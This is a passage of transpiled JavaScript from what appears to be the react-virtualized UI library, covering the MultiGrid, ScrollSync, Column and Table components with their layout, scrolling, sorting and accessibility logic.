                this._deferredInvalidateColumnIndex = "number" == typeof this._deferredInvalidateColumnIndex ? Math.min(this._deferredInvalidateColumnIndex, columnIndex) : columnIndex, 
                this._deferredInvalidateRowIndex = "number" == typeof this._deferredInvalidateRowIndex ? Math.min(this._deferredInvalidateRowIndex, rowIndex) : rowIndex;
            }
        }, {
            key: "measureAllCells",
            value: function() {
                this._bottomLeftGrid && this._bottomLeftGrid.measureAllCells(), this._bottomRightGrid && this._bottomRightGrid.measureAllCells(), 
                this._topLeftGrid && this._topLeftGrid.measureAllCells(), this._topRightGrid && this._topRightGrid.measureAllCells();
            }
        }, {
            key: "recomputeGridSize",
            value: function(argument_0) {
                var _ref8 = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : {}, _ref8$columnIndex = _ref8.columnIndex, columnIndex = void 0 === _ref8$columnIndex ? 0 : _ref8$columnIndex, _ref8$rowIndex = _ref8.rowIndex, rowIndex = void 0 === _ref8$rowIndex ? 0 : _ref8$rowIndex, _this$props6 = this.props, fixedColumnCount = _this$props6.fixedColumnCount, fixedRowCount = _this$props6.fixedRowCount, adjustedColumnIndex = Math.max(0, columnIndex - fixedColumnCount), adjustedRowIndex = Math.max(0, rowIndex - fixedRowCount);
                this._bottomLeftGrid && this._bottomLeftGrid.recomputeGridSize({
                    columnIndex: columnIndex,
                    rowIndex: adjustedRowIndex
                }), this._bottomRightGrid && this._bottomRightGrid.recomputeGridSize({
                    columnIndex: adjustedColumnIndex,
                    rowIndex: adjustedRowIndex
                }), this._topLeftGrid && this._topLeftGrid.recomputeGridSize({
                    columnIndex: columnIndex,
                    rowIndex: rowIndex
                }), this._topRightGrid && this._topRightGrid.recomputeGridSize({
                    columnIndex: adjustedColumnIndex,
                    rowIndex: rowIndex
                }), this._leftGridWidth = null, this._topGridHeight = null, this._maybeCalculateCachedStyles(!0);
            }
        }, {
            key: "componentDidMount",
            value: function() {
                var _this$props7 = this.props, scrollLeft = _this$props7.scrollLeft, scrollTop = _this$props7.scrollTop;
                if (0 < scrollLeft || 0 < scrollTop) {
                    var newState = {};
                    0 < scrollLeft && (newState.scrollLeft = scrollLeft), 0 < scrollTop && (newState.scrollTop = scrollTop), 
                    this.setState(newState);
                }
                this._handleInvalidatedGridSize();
            }
        }, {
            key: "componentDidUpdate",
            value: function() {
                this._handleInvalidatedGridSize();
            }
        }, {
            key: "render",
            value: function() {
                var _this$props8 = this.props, onScroll = _this$props8.onScroll, onSectionRendered = _this$props8.onSectionRendered, scrollToColumn = (_this$props8.onScrollbarPresenceChange, 
                _this$props8.scrollLeft, _this$props8.scrollToColumn), scrollToRow = (_this$props8.scrollTop, 
                _this$props8.scrollToRow), rest = _objectWithoutProperties(_this$props8, [ "onScroll", "onSectionRendered", "onScrollbarPresenceChange", "scrollLeft", "scrollToColumn", "scrollTop", "scrollToRow" ]);
                if (this._prepareForRender(), 0 === this.props.width || 0 === this.props.height) return null;
                var _this$state4 = this.state, scrollLeft = _this$state4.scrollLeft, scrollTop = _this$state4.scrollTop;
                return React.createElement("div", {
                    style: this._containerOuterStyle
                }, React.createElement("div", {
                    style: this._containerTopStyle
                }, this._renderTopLeftGrid(rest), this._renderTopRightGrid(_objectSpread2({}, rest, {
                    onScroll: onScroll,
                    scrollLeft: scrollLeft
                }))), React.createElement("div", {
                    style: this._containerBottomStyle
                }, this._renderBottomLeftGrid(_objectSpread2({}, rest, {
                    onScroll: onScroll,
                    scrollTop: scrollTop
                })), this._renderBottomRightGrid(_objectSpread2({}, rest, {
                    onScroll: onScroll,
                    onSectionRendered: onSectionRendered,
                    scrollLeft: scrollLeft,
                    scrollToColumn: scrollToColumn,
                    scrollToRow: scrollToRow,
                    scrollTop: scrollTop
                }))));
            }
        }, {
            key: "_getBottomGridHeight",
            value: function(props) {
                return props.height - this._getTopGridHeight(props);
            }
        }, {
            key: "_getLeftGridWidth",
            value: function(props) {
                var fixedColumnCount = props.fixedColumnCount, columnWidth = props.columnWidth;
                if (null == this._leftGridWidth) if ("function" == typeof columnWidth) {
                    for (var leftGridWidth = 0, index = 0; index < fixedColumnCount; index++) leftGridWidth += columnWidth({
                        index: index
                    });
                    this._leftGridWidth = leftGridWidth;
                } else this._leftGridWidth = columnWidth * fixedColumnCount;
                return this._leftGridWidth;
            }
        }, {
            key: "_getRightGridWidth",
            value: function(props) {
                return props.width - this._getLeftGridWidth(props);
            }
        }, {
            key: "_getTopGridHeight",
            value: function(props) {
                var fixedRowCount = props.fixedRowCount, rowHeight = props.rowHeight;
                if (null == this._topGridHeight) if ("function" == typeof rowHeight) {
                    for (var topGridHeight = 0, index = 0; index < fixedRowCount; index++) topGridHeight += rowHeight({
                        index: index
                    });
                    this._topGridHeight = topGridHeight;
                } else this._topGridHeight = rowHeight * fixedRowCount;
                return this._topGridHeight;
            }
        }, {
            key: "_handleInvalidatedGridSize",
            value: function() {
                if ("number" == typeof this._deferredInvalidateColumnIndex) {
                    var columnIndex = this._deferredInvalidateColumnIndex, rowIndex = this._deferredInvalidateRowIndex;
                    this._deferredInvalidateColumnIndex = null, this._deferredInvalidateRowIndex = null, 
                    this.recomputeGridSize({
                        columnIndex: columnIndex,
                        rowIndex: rowIndex
                    }), this.forceUpdate();
                }
            }
        }, {
            key: "_maybeCalculateCachedStyles",
            value: function(resetAll) {
                var _this$props9 = this.props, columnWidth = _this$props9.columnWidth, enableFixedColumnScroll = _this$props9.enableFixedColumnScroll, enableFixedRowScroll = _this$props9.enableFixedRowScroll, height = _this$props9.height, fixedColumnCount = _this$props9.fixedColumnCount, fixedRowCount = _this$props9.fixedRowCount, rowHeight = _this$props9.rowHeight, style = _this$props9.style, styleBottomLeftGrid = _this$props9.styleBottomLeftGrid, styleBottomRightGrid = _this$props9.styleBottomRightGrid, styleTopLeftGrid = _this$props9.styleTopLeftGrid, styleTopRightGrid = _this$props9.styleTopRightGrid, width = _this$props9.width, sizeChange = resetAll || height !== this._lastRenderedHeight || width !== this._lastRenderedWidth, leftSizeChange = resetAll || columnWidth !== this._lastRenderedColumnWidth || fixedColumnCount !== this._lastRenderedFixedColumnCount, topSizeChange = resetAll || fixedRowCount !== this._lastRenderedFixedRowCount || rowHeight !== this._lastRenderedRowHeight;
                (resetAll || sizeChange || style !== this._lastRenderedStyle) && (this._containerOuterStyle = _objectSpread2({
                    height: height,
                    overflow: "visible",
                    width: width
                }, style)), (resetAll || sizeChange || topSizeChange) && (this._containerTopStyle = {
                    height: this._getTopGridHeight(this.props),
                    position: "relative",
                    width: width
                }, this._containerBottomStyle = {
                    height: height - this._getTopGridHeight(this.props),
                    overflow: "visible",
                    position: "relative",
                    width: width
                }), !resetAll && styleBottomLeftGrid === this._lastRenderedStyleBottomLeftGrid || (this._bottomLeftGridStyle = _objectSpread2({
                    left: 0,
                    overflowX: "hidden",
                    overflowY: enableFixedColumnScroll ? "auto" : "hidden",
                    position: "absolute"
                }, styleBottomLeftGrid)), (resetAll || leftSizeChange || styleBottomRightGrid !== this._lastRenderedStyleBottomRightGrid) && (this._bottomRightGridStyle = _objectSpread2({
                    left: this._getLeftGridWidth(this.props),
                    position: "absolute"
                }, styleBottomRightGrid)), !resetAll && styleTopLeftGrid === this._lastRenderedStyleTopLeftGrid || (this._topLeftGridStyle = _objectSpread2({
                    left: 0,
                    overflowX: "hidden",
                    overflowY: "hidden",
                    position: "absolute",
                    top: 0
                }, styleTopLeftGrid)), (resetAll || leftSizeChange || styleTopRightGrid !== this._lastRenderedStyleTopRightGrid) && (this._topRightGridStyle = _objectSpread2({
                    left: this._getLeftGridWidth(this.props),
                    overflowX: enableFixedRowScroll ? "auto" : "hidden",
                    overflowY: "hidden",
                    position: "absolute",
                    top: 0
                }, styleTopRightGrid)), this._lastRenderedColumnWidth = columnWidth, this._lastRenderedFixedColumnCount = fixedColumnCount, 
                this._lastRenderedFixedRowCount = fixedRowCount, this._lastRenderedHeight = height, 
                this._lastRenderedRowHeight = rowHeight, this._lastRenderedStyle = style, this._lastRenderedStyleBottomLeftGrid = styleBottomLeftGrid, 
                this._lastRenderedStyleBottomRightGrid = styleBottomRightGrid, this._lastRenderedStyleTopLeftGrid = styleTopLeftGrid, 
                this._lastRenderedStyleTopRightGrid = styleTopRightGrid, this._lastRenderedWidth = width;
            }
        }, {
            key: "_prepareForRender",
            value: function() {
                this._lastRenderedColumnWidth === this.props.columnWidth && this._lastRenderedFixedColumnCount === this.props.fixedColumnCount || (this._leftGridWidth = null), 
                this._lastRenderedFixedRowCount === this.props.fixedRowCount && this._lastRenderedRowHeight === this.props.rowHeight || (this._topGridHeight = null), 
                this._maybeCalculateCachedStyles(), this._lastRenderedColumnWidth = this.props.columnWidth, 
                this._lastRenderedFixedColumnCount = this.props.fixedColumnCount, this._lastRenderedFixedRowCount = this.props.fixedRowCount, 
                this._lastRenderedRowHeight = this.props.rowHeight;
            }
        }, {
            key: "_renderBottomLeftGrid",
            value: function(props) {
                var enableFixedColumnScroll = props.enableFixedColumnScroll, fixedColumnCount = props.fixedColumnCount, fixedRowCount = props.fixedRowCount, rowCount = props.rowCount, hideBottomLeftGridScrollbar = props.hideBottomLeftGridScrollbar, showVerticalScrollbar = this.state.showVerticalScrollbar;
                if (!fixedColumnCount) return null;
                var additionalRowCount = showVerticalScrollbar ? 1 : 0, height = this._getBottomGridHeight(props), width = this._getLeftGridWidth(props), scrollbarSize = this.state.showVerticalScrollbar ? this.state.scrollbarSize : 0, gridWidth = hideBottomLeftGridScrollbar ? width + scrollbarSize : width, bottomLeftGrid = React.createElement(Grid, _extends({}, props, {
                    cellRenderer: this._cellRendererBottomLeftGrid,
                    className: this.props.classNameBottomLeftGrid,
                    columnCount: fixedColumnCount,
                    deferredMeasurementCache: this._deferredMeasurementCacheBottomLeftGrid,
                    height: height,
                    onScroll: enableFixedColumnScroll ? this._onScrollTop : void 0,
                    ref: this._bottomLeftGridRef,
                    rowCount: Math.max(0, rowCount - fixedRowCount) + additionalRowCount,
                    rowHeight: this._rowHeightBottomGrid,
                    style: this._bottomLeftGridStyle,
                    tabIndex: null,
                    width: gridWidth
                }));
                return hideBottomLeftGridScrollbar ? React.createElement("div", {
                    className: "BottomLeftGrid_ScrollWrapper",
                    style: _objectSpread2({}, this._bottomLeftGridStyle, {
                        height: height,
                        width: width,
                        overflowY: "hidden"
                    })
                }, bottomLeftGrid) : bottomLeftGrid;
            }
        }, {
            key: "_renderBottomRightGrid",
            value: function(props) {
                var columnCount = props.columnCount, fixedColumnCount = props.fixedColumnCount, fixedRowCount = props.fixedRowCount, rowCount = props.rowCount, scrollToColumn = props.scrollToColumn, scrollToRow = props.scrollToRow;
                return React.createElement(Grid, _extends({}, props, {
                    cellRenderer: this._cellRendererBottomRightGrid,
                    className: this.props.classNameBottomRightGrid,
                    columnCount: Math.max(0, columnCount - fixedColumnCount),
                    columnWidth: this._columnWidthRightGrid,
                    deferredMeasurementCache: this._deferredMeasurementCacheBottomRightGrid,
                    height: this._getBottomGridHeight(props),
                    onScroll: this._onScroll,
                    onScrollbarPresenceChange: this._onScrollbarPresenceChange,
                    ref: this._bottomRightGridRef,
                    rowCount: Math.max(0, rowCount - fixedRowCount),
                    rowHeight: this._rowHeightBottomGrid,
                    scrollToColumn: scrollToColumn - fixedColumnCount,
                    scrollToRow: scrollToRow - fixedRowCount,
                    style: this._bottomRightGridStyle,
                    width: this._getRightGridWidth(props)
                }));
            }
        }, {
            key: "_renderTopLeftGrid",
            value: function(props) {
                var fixedColumnCount = props.fixedColumnCount, fixedRowCount = props.fixedRowCount;
                return fixedColumnCount && fixedRowCount ? React.createElement(Grid, _extends({}, props, {
                    className: this.props.classNameTopLeftGrid,
                    columnCount: fixedColumnCount,
                    height: this._getTopGridHeight(props),
                    ref: this._topLeftGridRef,
                    rowCount: fixedRowCount,
                    style: this._topLeftGridStyle,
                    tabIndex: null,
                    width: this._getLeftGridWidth(props)
                })) : null;
            }
        }, {
            key: "_renderTopRightGrid",
            value: function(props) {
                var columnCount = props.columnCount, enableFixedRowScroll = props.enableFixedRowScroll, fixedColumnCount = props.fixedColumnCount, fixedRowCount = props.fixedRowCount, scrollLeft = props.scrollLeft, hideTopRightGridScrollbar = props.hideTopRightGridScrollbar, _this$state5 = this.state, showHorizontalScrollbar = _this$state5.showHorizontalScrollbar, scrollbarSize = _this$state5.scrollbarSize;
                if (!fixedRowCount) return null;
                var additionalColumnCount = showHorizontalScrollbar ? 1 : 0, height = this._getTopGridHeight(props), width = this._getRightGridWidth(props), additionalHeight = showHorizontalScrollbar ? scrollbarSize : 0, gridHeight = height, style = this._topRightGridStyle;
                hideTopRightGridScrollbar && (gridHeight = height + additionalHeight, style = _objectSpread2({}, this._topRightGridStyle, {
                    left: 0
                }));
                var topRightGrid = React.createElement(Grid, _extends({}, props, {
                    cellRenderer: this._cellRendererTopRightGrid,
                    className: this.props.classNameTopRightGrid,
                    columnCount: Math.max(0, columnCount - fixedColumnCount) + additionalColumnCount,
                    columnWidth: this._columnWidthRightGrid,
                    deferredMeasurementCache: this._deferredMeasurementCacheTopRightGrid,
                    height: gridHeight,
                    onScroll: enableFixedRowScroll ? this._onScrollLeft : void 0,
                    ref: this._topRightGridRef,
                    rowCount: fixedRowCount,
                    scrollLeft: scrollLeft,
                    style: style,
                    tabIndex: null,
                    width: width
                }));
                return hideTopRightGridScrollbar ? React.createElement("div", {
                    className: "TopRightGrid_ScrollWrapper",
                    style: _objectSpread2({}, this._topRightGridStyle, {
                        height: height,
                        width: width,
                        overflowX: "hidden"
                    })
                }, topRightGrid) : topRightGrid;
            }
        } ], [ {
            key: "getDerivedStateFromProps",
            value: function(nextProps, prevState) {
                return nextProps.scrollLeft !== prevState.scrollLeft || nextProps.scrollTop !== prevState.scrollTop ? {
                    scrollLeft: null != nextProps.scrollLeft && 0 <= nextProps.scrollLeft ? nextProps.scrollLeft : prevState.scrollLeft,
                    scrollTop: null != nextProps.scrollTop && 0 <= nextProps.scrollTop ? nextProps.scrollTop : prevState.scrollTop
                } : null;
            }
        } ]), MultiGrid;
    }();
    _defineProperty(MultiGrid, "propTypes", {
        classNameBottomLeftGrid: propTypes.string.isRequired,
        classNameBottomRightGrid: propTypes.string.isRequired,
        classNameTopLeftGrid: propTypes.string.isRequired,
        classNameTopRightGrid: propTypes.string.isRequired,
        enableFixedColumnScroll: propTypes.bool.isRequired,
        enableFixedRowScroll: propTypes.bool.isRequired,
        fixedColumnCount: propTypes.number.isRequired,
        fixedRowCount: propTypes.number.isRequired,
        onScrollbarPresenceChange: propTypes.func,
        style: propTypes.object.isRequired,
        styleBottomLeftGrid: propTypes.object.isRequired,
        styleBottomRightGrid: propTypes.object.isRequired,
        styleTopLeftGrid: propTypes.object.isRequired,
        styleTopRightGrid: propTypes.object.isRequired,
        hideTopRightGridScrollbar: propTypes.bool,
        hideBottomLeftGridScrollbar: propTypes.bool
    }), _defineProperty(MultiGrid, "defaultProps", {
        classNameBottomLeftGrid: "",
        classNameBottomRightGrid: "",
        classNameTopLeftGrid: "",
        classNameTopRightGrid: "",
        enableFixedColumnScroll: !1,
        enableFixedRowScroll: !1,
        fixedColumnCount: 0,
        fixedRowCount: 0,
        scrollToColumn: -1,
        scrollToRow: -1,
        style: {},
        styleBottomLeftGrid: {},
        styleBottomRightGrid: {},
        styleTopLeftGrid: {},
        styleTopRightGrid: {},
        hideTopRightGridScrollbar: !1,
        hideBottomLeftGridScrollbar: !1
    }), polyfill(MultiGrid);
    var ScrollSync = function() {
        function ScrollSync(props, context) {
            var _this;
            return _classCallCheck(this, ScrollSync), (_this = _possibleConstructorReturn(this, _getPrototypeOf(ScrollSync).call(this, props, context))).state = {
                clientHeight: 0,
                clientWidth: 0,
                scrollHeight: 0,
                scrollLeft: 0,
                scrollTop: 0,
                scrollWidth: 0
            }, _this._onScroll = _this._onScroll.bind(_assertThisInitialized(_this)), _this;
        }
        return _inherits(ScrollSync, React.PureComponent), _createClass(ScrollSync, [ {
            key: "render",
            value: function() {
                var children = this.props.children, _this$state = this.state, clientHeight = _this$state.clientHeight, clientWidth = _this$state.clientWidth, scrollHeight = _this$state.scrollHeight, scrollLeft = _this$state.scrollLeft, scrollTop = _this$state.scrollTop, scrollWidth = _this$state.scrollWidth;
                return children({
                    clientHeight: clientHeight,
                    clientWidth: clientWidth,
                    onScroll: this._onScroll,
                    scrollHeight: scrollHeight,
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop,
                    scrollWidth: scrollWidth
                });
            }
        }, {
            key: "_onScroll",
            value: function(_ref) {
                var clientHeight = _ref.clientHeight, clientWidth = _ref.clientWidth, scrollHeight = _ref.scrollHeight, scrollLeft = _ref.scrollLeft, scrollTop = _ref.scrollTop, scrollWidth = _ref.scrollWidth;
                this.setState({
                    clientHeight: clientHeight,
                    clientWidth: clientWidth,
                    scrollHeight: scrollHeight,
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop,
                    scrollWidth: scrollWidth
                });
            }
        } ]), ScrollSync;
    }();
    function defaultCellDataGetter(_ref) {
        var dataKey = _ref.dataKey, rowData = _ref.rowData;
        return "function" == typeof rowData.get ? rowData.get(dataKey) : rowData[dataKey];
    }
    function defaultCellRenderer(_ref) {
        var cellData = _ref.cellData;
        return null == cellData ? "" : String(cellData);
    }
    function defaultHeaderRowRenderer(_ref) {
        var className = _ref.className, columns = _ref.columns, style = _ref.style;
        return React.createElement("div", {
            className: className,
            role: "row",
            style: style
        }, columns);
    }
    _defineProperty(ScrollSync, "propTypes", {
        children: propTypes.func.isRequired
    });
    var SortDirection = {
        ASC: "ASC",
        DESC: "DESC"
    };
    function SortIndicator(_ref) {
        var sortDirection = _ref.sortDirection, classNames = clsx("ReactVirtualized__Table__sortableHeaderIcon", {
            "ReactVirtualized__Table__sortableHeaderIcon--ASC": sortDirection === SortDirection.ASC,
            "ReactVirtualized__Table__sortableHeaderIcon--DESC": sortDirection === SortDirection.DESC
        });
        return React.createElement("svg", {
            className: classNames,
            width: 18,
            height: 18,
            viewBox: "0 0 24 24"
        }, sortDirection === SortDirection.ASC ? React.createElement("path", {
            d: "M7 14l5-5 5 5z"
        }) : React.createElement("path", {
            d: "M7 10l5 5 5-5z"
        }), React.createElement("path", {
            d: "M0 0h24v24H0z",
            fill: "none"
        }));
    }
    function defaultHeaderRenderer(_ref) {
        var dataKey = _ref.dataKey, label = _ref.label, sortBy = _ref.sortBy, sortDirection = _ref.sortDirection, showSortIndicator = sortBy === dataKey, children = [ React.createElement("span", {
            className: "ReactVirtualized__Table__headerTruncatedText",
            key: "label",
            title: "string" == typeof label ? label : null
        }, label) ];
        return showSortIndicator && children.push(React.createElement(SortIndicator, {
            key: "SortIndicator",
            sortDirection: sortDirection
        })), children;
    }
    function defaultRowRenderer(_ref) {
        var className = _ref.className, columns = _ref.columns, index = _ref.index, key = _ref.key, onRowClick = _ref.onRowClick, onRowDoubleClick = _ref.onRowDoubleClick, onRowMouseOut = _ref.onRowMouseOut, onRowMouseOver = _ref.onRowMouseOver, onRowRightClick = _ref.onRowRightClick, rowData = _ref.rowData, style = _ref.style, a11yProps = {
            "aria-rowindex": index + 1
        };
        return (onRowClick || onRowDoubleClick || onRowMouseOut || onRowMouseOver || onRowRightClick) && (a11yProps["aria-label"] = "row", 
        a11yProps.tabIndex = 0, onRowClick && (a11yProps.onClick = function(event) {
            return onRowClick({
                event: event,
                index: index,
                rowData: rowData
            });
        }), onRowDoubleClick && (a11yProps.onDoubleClick = function(event) {
            return onRowDoubleClick({
                event: event,
                index: index,
                rowData: rowData
            });
        }), onRowMouseOut && (a11yProps.onMouseOut = function(event) {
            return onRowMouseOut({
                event: event,
                index: index,
                rowData: rowData
            });
        }), onRowMouseOver && (a11yProps.onMouseOver = function(event) {
            return onRowMouseOver({
                event: event,
                index: index,
                rowData: rowData
            });
        }), onRowRightClick && (a11yProps.onContextMenu = function(event) {
            return onRowRightClick({
                event: event,
                index: index,
                rowData: rowData
            });
        })), React.createElement("div", _extends({}, a11yProps, {
            className: className,
            key: key,
            role: "row",
            style: style
        }), columns);
    }
    SortIndicator.propTypes = {
        sortDirection: propTypes.oneOf([ SortDirection.ASC, SortDirection.DESC ])
    };
    var Column = function() {
        function Column() {
            return _classCallCheck(this, Column), _possibleConstructorReturn(this, _getPrototypeOf(Column).apply(this, arguments));
        }
        return _inherits(Column, React.Component), Column;
    }();
    _defineProperty(Column, "propTypes", {
        "aria-label": propTypes.string,
        cellDataGetter: propTypes.func,
        cellRenderer: propTypes.func,
        className: propTypes.string,
        columnData: propTypes.object,
        dataKey: propTypes.any.isRequired,
        defaultSortDirection: propTypes.oneOf([ SortDirection.ASC, SortDirection.DESC ]),
        disableSort: propTypes.bool,
        flexGrow: propTypes.number,
        flexShrink: propTypes.number,
        headerClassName: propTypes.string,
        headerRenderer: propTypes.func.isRequired,
        headerStyle: propTypes.object,
        id: propTypes.string,
        label: propTypes.node,
        maxWidth: propTypes.number,
        minWidth: propTypes.number,
        style: propTypes.object,
        width: propTypes.number.isRequired
    }), _defineProperty(Column, "defaultProps", {
        cellDataGetter: defaultCellDataGetter,
        cellRenderer: defaultCellRenderer,
        defaultSortDirection: SortDirection.ASC,
        flexGrow: 0,
        flexShrink: 1,
        headerRenderer: defaultHeaderRenderer,
        style: {}
    });
    var Table = function() {
        function Table(props) {
            var _this;
            return _classCallCheck(this, Table), (_this = _possibleConstructorReturn(this, _getPrototypeOf(Table).call(this, props))).state = {
                scrollbarWidth: 0
            }, _this._createColumn = _this._createColumn.bind(_assertThisInitialized(_this)), 
            _this._createRow = _this._createRow.bind(_assertThisInitialized(_this)), _this._onScroll = _this._onScroll.bind(_assertThisInitialized(_this)), 
            _this._onSectionRendered = _this._onSectionRendered.bind(_assertThisInitialized(_this)), 
            _this._setRef = _this._setRef.bind(_assertThisInitialized(_this)), _this;
        }
        return _inherits(Table, React.PureComponent), _createClass(Table, [ {
            key: "forceUpdateGrid",
            value: function() {
                this.Grid && this.Grid.forceUpdate();
            }
        }, {
            key: "getOffsetForRow",
            value: function(_ref) {
                var alignment = _ref.alignment, index = _ref.index;
                return this.Grid ? this.Grid.getOffsetForCell({
                    alignment: alignment,
                    rowIndex: index
                }).scrollTop : 0;
            }
        }, {
            key: "invalidateCellSizeAfterRender",
            value: function(_ref2) {
                var columnIndex = _ref2.columnIndex, rowIndex = _ref2.rowIndex;
                this.Grid && this.Grid.invalidateCellSizeAfterRender({
                    rowIndex: rowIndex,
                    columnIndex: columnIndex
                });
            }
        }, {
            key: "measureAllRows",
            value: function() {
                this.Grid && this.Grid.measureAllCells();
            }
        }, {
            key: "recomputeGridSize",
            value: function(argument_0) {
                var _ref3 = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : {}, _ref3$columnIndex = _ref3.columnIndex, columnIndex = void 0 === _ref3$columnIndex ? 0 : _ref3$columnIndex, _ref3$rowIndex = _ref3.rowIndex, rowIndex = void 0 === _ref3$rowIndex ? 0 : _ref3$rowIndex;
                this.Grid && this.Grid.recomputeGridSize({
                    rowIndex: rowIndex,
                    columnIndex: columnIndex
                });
            }
        }, {
            key: "recomputeRowHeights",
            value: function(argument_0) {
                var index = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : 0;
                this.Grid && this.Grid.recomputeGridSize({
                    rowIndex: index
                });
            }
        }, {
            key: "scrollToPosition",
            value: function(argument_0) {
                var scrollTop = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : 0;
                this.Grid && this.Grid.scrollToPosition({
                    scrollTop: scrollTop
                });
            }
        }, {
            key: "scrollToRow",
            value: function(argument_0) {
                var index = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : 0;
                this.Grid && this.Grid.scrollToCell({
                    columnIndex: 0,
                    rowIndex: index
                });
            }
        }, {
            key: "getScrollbarWidth",
            value: function() {
                if (this.Grid) {
                    var _Grid = ReactDOM.findDOMNode(this.Grid), clientWidth = _Grid.clientWidth || 0;
                    return (_Grid.offsetWidth || 0) - clientWidth;
                }
                return 0;
            }
        }, {
            key: "componentDidMount",
            value: function() {
                this._setScrollbarWidth();
            }
        }, {
            key: "componentDidUpdate",
            value: function() {
                this._setScrollbarWidth();
            }
        }, {
            key: "render",
            value: function() {
                var _this2 = this, _this$props = this.props, children = _this$props.children, className = _this$props.className, disableHeader = _this$props.disableHeader, gridClassName = _this$props.gridClassName, gridStyle = _this$props.gridStyle, headerHeight = _this$props.headerHeight, headerRowRenderer = _this$props.headerRowRenderer, height = _this$props.height, id = _this$props.id, noRowsRenderer = _this$props.noRowsRenderer, rowClassName = _this$props.rowClassName, rowStyle = _this$props.rowStyle, scrollToIndex = _this$props.scrollToIndex, style = _this$props.style, width = _this$props.width, scrollbarWidth = this.state.scrollbarWidth, availableRowsHeight = disableHeader ? height : height - headerHeight, rowClass = "function" == typeof rowClassName ? rowClassName({
                    index: -1
                }) : rowClassName, rowStyleObject = "function" == typeof rowStyle ? rowStyle({
                    index: -1
                }) : rowStyle;
                return this._cachedColumnStyles = [], React.Children.toArray(children).forEach(function(column, index) {
                    var flexStyles = _this2._getFlexStyleForColumn(column, column.props.style);
                    _this2._cachedColumnStyles[index] = _objectSpread2({
                        overflow: "hidden"
                    }, flexStyles);
                }), React.createElement("div", {
                    "aria-label": this.props["aria-label"],
                    "aria-labelledby": this.props["aria-labelledby"],
                    "aria-colcount": React.Children.toArray(children).length,
                    "aria-rowcount": this.props.rowCount,
                    className: clsx("ReactVirtualized__Table", className),
                    id: id,
                    role: "grid",
                    style: style
                }, !disableHeader && headerRowRenderer({
                    className: clsx("ReactVirtualized__Table__headerRow", rowClass),
                    columns: this._getHeaderColumns(),
                    style: _objectSpread2({
                        height: headerHeight,
                        overflow: "hidden",
                        paddingRight: scrollbarWidth,
                        width: width
                    }, rowStyleObject)
                }), React.createElement(Grid, _extends({}, this.props, {
                    "aria-readonly": null,
                    autoContainerWidth: !0,
                    className: clsx("ReactVirtualized__Table__Grid", gridClassName),
                    cellRenderer: this._createRow,
                    columnWidth: width,
                    columnCount: 1,
                    height: availableRowsHeight,
                    id: void 0,
                    noContentRenderer: noRowsRenderer,
                    onScroll: this._onScroll,
                    onSectionRendered: this._onSectionRendered,
                    ref: this._setRef,
                    role: "rowgroup",
                    scrollbarWidth: scrollbarWidth,
                    scrollToRow: scrollToIndex,
                    style: _objectSpread2({}, gridStyle, {
                        overflowX: "hidden"
                    })
                })));
            }
        }, {
            key: "_createColumn",
            value: function(_ref4) {
                var column = _ref4.column, columnIndex = _ref4.columnIndex, isScrolling = _ref4.isScrolling, parent = _ref4.parent, rowData = _ref4.rowData, rowIndex = _ref4.rowIndex, onColumnClick = this.props.onColumnClick, _column$props = column.props, cellDataGetter = _column$props.cellDataGetter, cellRenderer = _column$props.cellRenderer, className = _column$props.className, columnData = _column$props.columnData, dataKey = _column$props.dataKey, id = _column$props.id, renderedCell = cellRenderer({
                    cellData: cellDataGetter({
                        columnData: columnData,
                        dataKey: dataKey,
                        rowData: rowData
                    }),
                    columnData: columnData,
                    columnIndex: columnIndex,
                    dataKey: dataKey,
                    isScrolling: isScrolling,
                    parent: parent,
                    rowData: rowData,
                    rowIndex: rowIndex
                }), style = this._cachedColumnStyles[columnIndex], title = "string" == typeof renderedCell ? renderedCell : null;
                return React.createElement("div", {
                    "aria-colindex": columnIndex + 1,
                    "aria-describedby": id,
                    className: clsx("ReactVirtualized__Table__rowColumn", className),
                    key: "Row" + rowIndex + "-Col" + columnIndex,
                    onClick: function(event) {
                        onColumnClick && onColumnClick({
                            columnData: columnData,
                            dataKey: dataKey,
                            event: event
                        });
                    },
                    role: "gridcell",
                    style: style,
                    title: title
                }, renderedCell);
            }
        }, {
            key: "_createHeader",
            value: function(_ref5) {
                var headerOnClick, headerOnKeyDown, headerTabIndex, headerAriaSort, headerAriaLabel, column = _ref5.column, index = _ref5.index, _this$props2 = this.props, headerClassName = _this$props2.headerClassName, headerStyle = _this$props2.headerStyle, onHeaderClick = _this$props2.onHeaderClick, sort = _this$props2.sort, sortBy = _this$props2.sortBy, sortDirection = _this$props2.sortDirection, _column$props2 = column.props, columnData = _column$props2.columnData, dataKey = _column$props2.dataKey, defaultSortDirection = _column$props2.defaultSortDirection, disableSort = _column$props2.disableSort, headerRenderer = _column$props2.headerRenderer, id = _column$props2.id, label = _column$props2.label, sortEnabled = !disableSort && sort, classNames = clsx("ReactVirtualized__Table__headerColumn", headerClassName, column.props.headerClassName, {
                    ReactVirtualized__Table__sortableHeaderColumn: sortEnabled
                }), style = this._getFlexStyleForColumn(column, _objectSpread2({}, headerStyle, {}, column.props.headerStyle)), renderedHeader = headerRenderer({
                    columnData: columnData,
                    dataKey: dataKey,
                    disableSort: disableSort,
                    label: label,
                    sortBy: sortBy,
                    sortDirection: sortDirection
                });
                if (sortEnabled || onHeaderClick) {
                    var newSortDirection = sortBy !== dataKey ? defaultSortDirection : sortDirection === SortDirection.DESC ? SortDirection.ASC : SortDirection.DESC, onClick = function(event) {
                        sortEnabled && sort({
                            defaultSortDirection: defaultSortDirection,
                            event: event,
                            sortBy: dataKey,
                            sortDirection: newSortDirection
                        }), onHeaderClick && onHeaderClick({
                            columnData: columnData,
                            dataKey: dataKey,
                            event: event
                        });
                    };
                    headerAriaLabel = column.props["aria-label"] || label || dataKey, headerAriaSort = "none", 
                    headerTabIndex = 0, headerOnClick = onClick, headerOnKeyDown = function(event) {
                        "Enter" !== event.key && " " !== event.key || onClick(event);
                    };
                }
                return sortBy === dataKey && (headerAriaSort = sortDirection === SortDirection.ASC ? "ascending" : "descending"), 
                React.createElement("div", {
                    "aria-label": headerAriaLabel,
                    "aria-sort": headerAriaSort,
                    className: classNames,
                    id: id,
                    key: "Header-Col" + index,
                    onClick: headerOnClick,
                    onKeyDown: headerOnKeyDown,
                    role: "columnheader",
